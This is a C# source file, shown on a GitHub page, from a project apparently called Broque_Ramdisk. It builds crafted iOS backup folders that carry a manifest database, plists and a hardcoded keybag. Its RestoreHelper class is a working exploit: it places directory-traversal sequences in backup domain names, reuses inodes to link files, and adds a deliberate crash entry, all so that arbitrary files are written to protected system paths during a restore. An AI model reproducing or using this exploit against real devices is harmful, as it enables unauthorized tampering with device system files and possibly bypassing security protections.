-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathSparseRestore.cs
More file actions
640 lines (554 loc) · 24 KB
/
SparseRestore.cs
File metadata and controls
640 lines (554 loc) · 24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
using Claunia.PropertyList;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace Broque_Ramdisk
{
[Flags]
public enum SparseFileMode : ushort
{
S_IFMT = 0xF000,
S_IFIFO = 0x1000,
S_IFCHR = 0x2000,
S_IFDIR = 0x4000,
S_IFBLK = 0x6000,
S_IFREG = 0x8000,
S_IFLNK = 0xA000,
S_IFSOCK = 0xC000,
S_IRUSR = 0x0100,
S_IWUSR = 0x0080,
S_IXUSR = 0x0040,
S_IRGRP = 0x0020,
S_IWGRP = 0x0010,
S_IXGRP = 0x0008,
S_IROTH = 0x0004,
S_IWOTH = 0x0002,
S_IXOTH = 0x0001,
S_ISUID = 0x0800,
S_ISGID = 0x0400,
S_ISVTX = 0x0200
}
public class MbdbRecord
{
public string Domain { get; set; }
public string Filename { get; set; }
public string Link { get; set; }
public byte[] Hash { get; set; }
public byte[] Key { get; set; }
public SparseFileMode Mode { get; set; }
public ulong Inode { get; set; }
public uint UserId { get; set; }
public uint GroupId { get; set; }
public uint MTime { get; set; }
public uint ATime { get; set; }
public uint CTime { get; set; }
public ulong Size { get; set; }
public byte Flags { get; set; }
public List<Tuple<string, string>> Properties { get; set; } = new List<Tuple<string, string>>();
public static MbdbRecord FromStream(Stream stream)
{
var record = new MbdbRecord();
var domainLen = ReadUInt16BigEndian(stream);
record.Domain = Encoding.UTF8.GetString(ReadBytes(stream, domainLen));
var filenameLen = ReadUInt16BigEndian(stream);
record.Filename = Encoding.UTF8.GetString(ReadBytes(stream, filenameLen));
var linkLen = ReadUInt16BigEndian(stream);
record.Link = linkLen != 0xFFFF ? Encoding.UTF8.GetString(ReadBytes(stream, linkLen)) : string.Empty;
var hashLen = ReadUInt16BigEndian(stream);
record.Hash = hashLen != 0xFFFF ? ReadBytes(stream, hashLen) : Array.Empty<byte>();
var keyLen = ReadUInt16BigEndian(stream);
record.Key = keyLen != 0xFFFF ? ReadBytes(stream, keyLen) : Array.Empty<byte>();
record.Mode = (SparseFileMode)ReadUInt16BigEndian(stream);
record.Inode = ReadUInt64BigEndian(stream);
record.UserId = ReadUInt32BigEndian(stream);
record.GroupId = ReadUInt32BigEndian(stream);
record.MTime = ReadUInt32BigEndian(stream);
record.ATime = ReadUInt32BigEndian(stream);
record.CTime = ReadUInt32BigEndian(stream);
record.Size = ReadUInt64BigEndian(stream);
record.Flags = (byte)stream.ReadByte();
var propertiesCount = (byte)stream.ReadByte();
for (int i = 0; i < propertiesCount; i++)
{
var nameLen = ReadUInt16BigEndian(stream);
var name = nameLen != 0xFFFF ? Encoding.UTF8.GetString(ReadBytes(stream, nameLen)) : string.Empty;
var valueLen = ReadUInt16BigEndian(stream);
var value = valueLen != 0xFFFF ? Encoding.UTF8.GetString(ReadBytes(stream, valueLen)) : string.Empty;
record.Properties.Add(new Tuple<string, string>(name, value));
}
return record;
}
public byte[] ToBytes()
{
using (var ms = new MemoryStream())
{
WriteUInt16BigEndian(ms, (ushort)Domain.Length);
ms.Write(Encoding.UTF8.GetBytes(Domain), 0, Encoding.UTF8.GetByteCount(Domain));
WriteUInt16BigEndian(ms, (ushort)Filename.Length);
ms.Write(Encoding.UTF8.GetBytes(Filename), 0, Encoding.UTF8.GetByteCount(Filename));
WriteUInt16BigEndian(ms, (ushort)Link.Length);
ms.Write(Encoding.UTF8.GetBytes(Link), 0, Encoding.UTF8.GetByteCount(Link));
WriteUInt16BigEndian(ms, (ushort)Hash.Length);
ms.Write(Hash, 0, Hash.Length);
WriteUInt16BigEndian(ms, (ushort)Key.Length);
ms.Write(Key, 0, Key.Length);
WriteUInt16BigEndian(ms, (ushort)Mode);
WriteUInt64BigEndian(ms, Inode);
WriteUInt32BigEndian(ms, UserId);
WriteUInt32BigEndian(ms, GroupId);
WriteUInt32BigEndian(ms, MTime);
WriteUInt32BigEndian(ms, ATime);
WriteUInt32BigEndian(ms, CTime);
WriteUInt64BigEndian(ms, Size);
ms.WriteByte(Flags);
ms.WriteByte((byte)Properties.Count);
foreach (var prop in Properties)
{
WriteUInt16BigEndian(ms, (ushort)prop.Item1.Length);
ms.Write(Encoding.UTF8.GetBytes(prop.Item1), 0, Encoding.UTF8.GetByteCount(prop.Item1));
WriteUInt16BigEndian(ms, (ushort)prop.Item2.Length);
ms.Write(Encoding.UTF8.GetBytes(prop.Item2), 0, Encoding.UTF8.GetByteCount(prop.Item2));
}
return ms.ToArray();
}
}
private static ushort ReadUInt16BigEndian(Stream stream)
{
var bytes = new byte[2];
stream.Read(bytes, 0, 2);
if (BitConverter.IsLittleEndian)
Array.Reverse(bytes);
return BitConverter.ToUInt16(bytes, 0);
}
private static uint ReadUInt32BigEndian(Stream stream)
{
var bytes = new byte[4];
stream.Read(bytes, 0, 4);
if (BitConverter.IsLittleEndian)
Array.Reverse(bytes);
return BitConverter.ToUInt32(bytes, 0);
}
private static ulong ReadUInt64BigEndian(Stream stream)
{
var bytes = new byte[8];
stream.Read(bytes, 0, 8);
if (BitConverter.IsLittleEndian)
Array.Reverse(bytes);
return BitConverter.ToUInt64(bytes, 0);
}
private static byte[] ReadBytes(Stream stream, int count)
{
var bytes = new byte[count];
stream.Read(bytes, 0, count);
return bytes;
}
private static void WriteUInt16BigEndian(Stream stream, ushort value)
{
var bytes = BitConverter.GetBytes(value);
if (BitConverter.IsLittleEndian)
Array.Reverse(bytes);
stream.Write(bytes, 0, 2);
}
private static void WriteUInt32BigEndian(Stream stream, uint value)
{
var bytes = BitConverter.GetBytes(value);
if (BitConverter.IsLittleEndian)
Array.Reverse(bytes);
stream.Write(bytes, 0, 4);
}
private static void WriteUInt64BigEndian(Stream stream, ulong value)
{
var bytes = BitConverter.GetBytes(value);
if (BitConverter.IsLittleEndian)
Array.Reverse(bytes);
stream.Write(bytes, 0, 8);
}
}
public class Mbdb
{
public List<MbdbRecord> Records { get; set; } = new List<MbdbRecord>();
public static Mbdb FromBytes(byte[] data)
{
using (var ms = new MemoryStream(data))
{
var mbdb = new Mbdb();
var magic = new byte[4];
ms.Read(magic, 0, 4);
if (!magic.SequenceEqual(new byte[] { (byte)'m', (byte)'b', (byte)'d', (byte)'b' }))
throw new ArgumentException("Invalid MBDB file");
var version = new byte[2];
ms.Read(version, 0, 2);
if (!version.SequenceEqual(new byte[] { 0x05, 0x00 }))
throw new ArgumentException("Invalid MBDB version");
while (ms.Position < ms.Length)
{
mbdb.Records.Add(MbdbRecord.FromStream(ms));
}
return mbdb;
}
}
public byte[] ToBytes()
{
using (var ms = new MemoryStream())
{
ms.Write(new byte[] { (byte)'m', (byte)'b', (byte)'d', (byte)'b' }, 0, 4);
ms.Write(new byte[] { 0x05, 0x00 }, 0, 2);
foreach (var record in Records)
{
byte[] recordBytes = record.ToBytes();
ms.Write(recordBytes, 0, recordBytes.Length);
}
return ms.ToArray();
}
}
}
public abstract class BackupFile
{
public string Path { get; set; }
public string Domain { get; set; }
public abstract MbdbRecord ToRecord();
}
public class ConcreteFile : BackupFile
{
public byte[] Contents { get; set; }
public uint Owner { get; set; } = 0;
public uint Group { get; set; } = 0;
public ulong? Inode { get; set; }
public SparseFileMode Mode { get; set; } = SparseFileMode.S_IRUSR | SparseFileMode.S_IWUSR | SparseFileMode.S_IXUSR |
SparseFileMode.S_IRGRP | SparseFileMode.S_IXGRP |
SparseFileMode.S_IROTH | SparseFileMode.S_IXOTH;
public override MbdbRecord ToRecord()
{
if (Inode == null)
{
var rng = new byte[8];
new Random().NextBytes(rng);
Inode = BitConverter.ToUInt64(rng, 0);
}
using (var sha1 = SHA1.Create())
{
return new MbdbRecord
{
Domain = Domain,
Filename = Path,
Link = "",
Hash = sha1.ComputeHash(Contents),
Key = Array.Empty<byte>(),
Mode = Mode | SparseFileMode.S_IFREG,
Inode = Inode.Value,
UserId = Owner,
GroupId = Group,
MTime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
ATime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
CTime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
Size = (ulong)Contents.Length,
Flags = 4,
Properties = new List<Tuple<string, string>>()
};
}
}
}
public class SparseDirectory : BackupFile
{
public uint Owner { get; set; } = 0;
public uint Group { get; set; } = 0;
public SparseFileMode Mode { get; set; } = SparseFileMode.S_IRUSR | SparseFileMode.S_IWUSR | SparseFileMode.S_IXUSR |
SparseFileMode.S_IRGRP | SparseFileMode.S_IXGRP |
SparseFileMode.S_IROTH | SparseFileMode.S_IXOTH;
public override MbdbRecord ToRecord()
{
return new MbdbRecord
{
Domain = Domain,
Filename = Path,
Link = "",
Hash = Array.Empty<byte>(),
Key = Array.Empty<byte>(),
Mode = Mode | SparseFileMode.S_IFDIR,
Inode = 0, // inode is not respected for directories
UserId = Owner,
GroupId = Group,
MTime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
ATime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
CTime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
Size = 0,
Flags = 4,
Properties = new List<Tuple<string, string>>()
};
}
}
public class SymbolicLink : BackupFile
{
public string Target { get; set; }
public uint Owner { get; set; } = 0;
public uint Group { get; set; } = 0;
public ulong? Inode { get; set; }
public SparseFileMode Mode { get; set; } = SparseFileMode.S_IRUSR | SparseFileMode.S_IWUSR | SparseFileMode.S_IXUSR |
SparseFileMode.S_IRGRP | SparseFileMode.S_IXGRP |
SparseFileMode.S_IROTH | SparseFileMode.S_IXOTH;
public override MbdbRecord ToRecord()
{
if (Inode == null)
{
var rng = new byte[8];
new Random().NextBytes(rng);
Inode = BitConverter.ToUInt64(rng, 0);
}
return new MbdbRecord
{
Domain = Domain,
Filename = Path,
Link = Target,
Hash = Array.Empty<byte>(),
Key = Array.Empty<byte>(),
Mode = Mode | SparseFileMode.S_IFLNK,
Inode = Inode.Value,
UserId = Owner,
GroupId = Group,
MTime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
ATime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
CTime = (uint)DateTimeOffset.Now.ToUnixTimeSeconds(),
Size = 0,
Flags = 4,
Properties = new List<Tuple<string, string>>()
};
}
}
public class Backup
{
public List<BackupFile> Files { get; set; }
public Backup(List<BackupFile> files)
{
Files = files;
}
public void WriteToDirectory(string directoryPath)
{
var directory = new DirectoryInfo(directoryPath);
if (!directory.Exists)
directory.Create();
foreach (var file in Files.OfType<ConcreteFile>())
{
using (var sha1 = SHA1.Create())
{
var hash = sha1.ComputeHash(Encoding.UTF8.GetBytes(file.Domain + "-" + file.Path));
var fileName = BitConverter.ToString(hash).Replace("-", "").ToLower();
Console.WriteLine($"Writing {file.Path} to {Path.Combine(directory.FullName, fileName)}");
File.WriteAllBytes(Path.Combine(directory.FullName, fileName), file.Contents);
}
}
File.WriteAllBytes(Path.Combine(directory.FullName, "Manifest.mbdb"), GenerateManifestDb().ToBytes());
File.WriteAllBytes(Path.Combine(directory.FullName, "Status.plist"), GenerateStatus());
File.WriteAllBytes(Path.Combine(directory.FullName, "Manifest.plist"), GenerateManifest());
File.WriteAllBytes(Path.Combine(directory.FullName, "Info.plist"), GenerateInfoPlist());
}
public Mbdb GenerateManifestDb()
{
var records = new List<MbdbRecord>();
foreach (var file in Files)
{
records.Add(file.ToRecord());
}
return new Mbdb { Records = records };
}
public byte[] GenerateStatus()
{
NSDictionary plist = new NSDictionary {
{ "BackupState", new NSString("new") },
{ "Date", new NSDate(DateTime.Parse("1970-01-01T00:00:00Z")) },
{ "IsFullBackup", new NSNumber(false) },
{ "SnapshotState", new NSString("finished") },
{ "UUID", new NSString("00000000-0000-0000-0000-000000000000") },
{ "Version", new NSString("2.4") }
};
using (MemoryStream ms = new MemoryStream())
{
PropertyListParser.SaveAsBinary(plist, ms);
return ms.ToArray();
}
}
public byte[] GenerateManifest()
{
string base64Data = @"
VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1D
SwAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAA
AAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVVSUQA
AAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAE
AAAAAFdQS1kAAAAoN3kQAJloFg+ukEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9
UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAEAAAAAktU
WVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9z
ZCHNJhnorVVVSUQAAAAQf7JFQiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAE
AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRguQyqHukotrxh
jIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdS
QVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZA
ie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1KhJKNTUNMQVMAAAAE
AAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/t
djKArOqTaH0tPSG9KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENM
QVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAofe2QSvDC2cV7
Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yE
cfWmMUNMQVMAAAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLY
PQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVVSUQAAAAQEBpgKOz9
Tni8F9kmSXd0sENMQVMAAAAEAAAACFdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kA
AAAo5mxVoyNFgPMzphYhm1VG8Fhsin/xX+r6mCd9gByF5SxeolAIT/ICF1VVSUQAAAAQ
rfKB2uPSQtWh82yx6w4BoUNMQVMAAAAEAAAACVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAA
AFdQS1kAAAAo5iayZBwcRa1c1MMx7vh6lOYux3oDI/bdxFCW1WHCQR/Ub1MOv+QaYFVV
SUQAAAAQiLXvK3qvQza/mea5inss/0NMQVMAAAAEAAAACldSQVAAAAAEAAAAA0tUWVAA
AAAEAAAAAFdQS1kAAAAoD2wHX7KriEe1E31z7SQ7/+AVymcpARMYnQgegtZD0Mq2U55u
xwNr2FVVSUQAAAAQ/Q9feZxLS++qSe/a4emRRENMQVMAAAAEAAAAC1dSQVAAAAAEAAAA
A0tUWVAAAAAEAAAAAFdQS1kAAAAocYda2jyYzzSKggRPw/qgh6QPESlkZedgDUKpTr4Z
Z8FDgd7YoALY1g==".Replace("\n", "").Replace("\t", "").Replace(" ", "");
byte[] backupKeyBag = Convert.FromBase64String(base64Data);
NSDictionary root = new NSDictionary();
root.Add("BackupKeyBag", new NSData(backupKeyBag));
root.Add("Lockdown", new NSDictionary());
root.Add("SystemDomainsVersion", new NSString("20.0"));
root.Add("Version", new NSString("9.1"));
using (MemoryStream ms = new MemoryStream())
{
PropertyListParser.SaveAsBinary(root, ms);
return ms.ToArray();
}
}
public byte[] GenerateInfoPlist()
{
NSDictionary plist = new NSDictionary();
string xmlString = plist.ToXmlPropertyList();
using (MemoryStream ms = new MemoryStream())
{
PropertyListParser.SaveAsBinary(plist, ms);
return ms.ToArray();
}
}
}
public class FileToRestore
{
public byte[] Contents { get; set; }
public string RestorePath { get; set; }
public string RestoreName { get; set; }
public uint Owner { get; set; } = 501;
public uint Group { get; set; } = 501;
public FileToRestore(byte[] contents, string restorePath, string restoreName, uint owner = 501, uint group = 501)
{
Contents = contents;
RestorePath = restorePath;
RestoreName = restoreName;
Owner = owner;
Group = group;
}
}
public static class RestoreHelper
{
public static void RestoreFiles(List<FileToRestore> files, string backupDir)
{
var filesList = new List<BackupFile>
{
new SparseDirectory { Path = "", Domain = "RootDomain" },
new SparseDirectory { Path = "Library", Domain = "RootDomain" },
new SparseDirectory { Path = "Library/Preferences", Domain = "RootDomain" }
};
for (int i = 0; i < files.Count; i++)
{
filesList.Add(new ConcreteFile
{
Path = $"Library/Preferences/temp{i}",
Domain = "RootDomain",
Owner = files[i].Owner,
Group = files[i].Group,
Contents = files[i].Contents,
Inode = (ulong)i
});
}
for (int i = 0; i < files.Count; i++)
{
var file = files[i];
filesList.Add(new SparseDirectory
{
Path = "",
Domain = $"SysContainerDomain-../../../../../../../../var/backup{file.RestorePath}",
Owner = file.Owner,
Group = file.Group
});
filesList.Add(new ConcreteFile
{
Path = "",
Domain = $"SysContainerDomain-../../../../../../../../var/backup{file.RestorePath}{file.RestoreName}",
Owner = file.Owner,
Group = file.Group,
Contents = Array.Empty<byte>(),
Inode = (ulong)i
});
}
for (int i = 0; i < files.Count; i++)
{
filesList.Add(new ConcreteFile
{
Path = "",
Domain = $"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp{i}",
Owner = 501,
Group = 501,
Contents = Array.Empty<byte>()
});
}
filesList.Add(new ConcreteFile
{
Path = "",
Domain = "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose",
Contents = Array.Empty<byte>()
});
var backup = new Backup(filesList);
backup.WriteToDirectory(backupDir);
}
public static void RestoreFile(byte[] contents, string backupPath, string toPath, string backupDir)
{
var backup = new Backup(new List<BackupFile>
{
new SparseDirectory { Path = "", Domain = "RootDomain" },
new SparseDirectory { Path = "Library", Domain = "RootDomain" },
new SparseDirectory { Path = "Library/Preferences", Domain = "RootDomain" },
new ConcreteFile
{
Path = "Library/Preferences/temp",
Domain = "RootDomain",
Owner = 501,
Group = 501,
Contents = contents,
Inode = 0
},
new SparseDirectory
{
Path = "",
Domain = $"SysContainerDomain-../../../../../../../../var/backup{backupPath}",
Owner = 501,
Group = 501
},
new ConcreteFile
{
Path = "",
Domain = $"SysContainerDomain-../../../../../../../../var/backup{toPath}",
Owner = 501,
Group = 501,
Contents = Array.Empty<byte>(),
Inode = 0
},
new ConcreteFile
{
Path = "",
Domain = "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp",
Owner = 501,
Group = 501,
Contents = Array.Empty<byte>()
},
new ConcreteFile
{
Path = "",
Domain = "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose",
Contents = Array.Empty<byte>()
}
});
backup.WriteToDirectory(backupDir);
}
}
}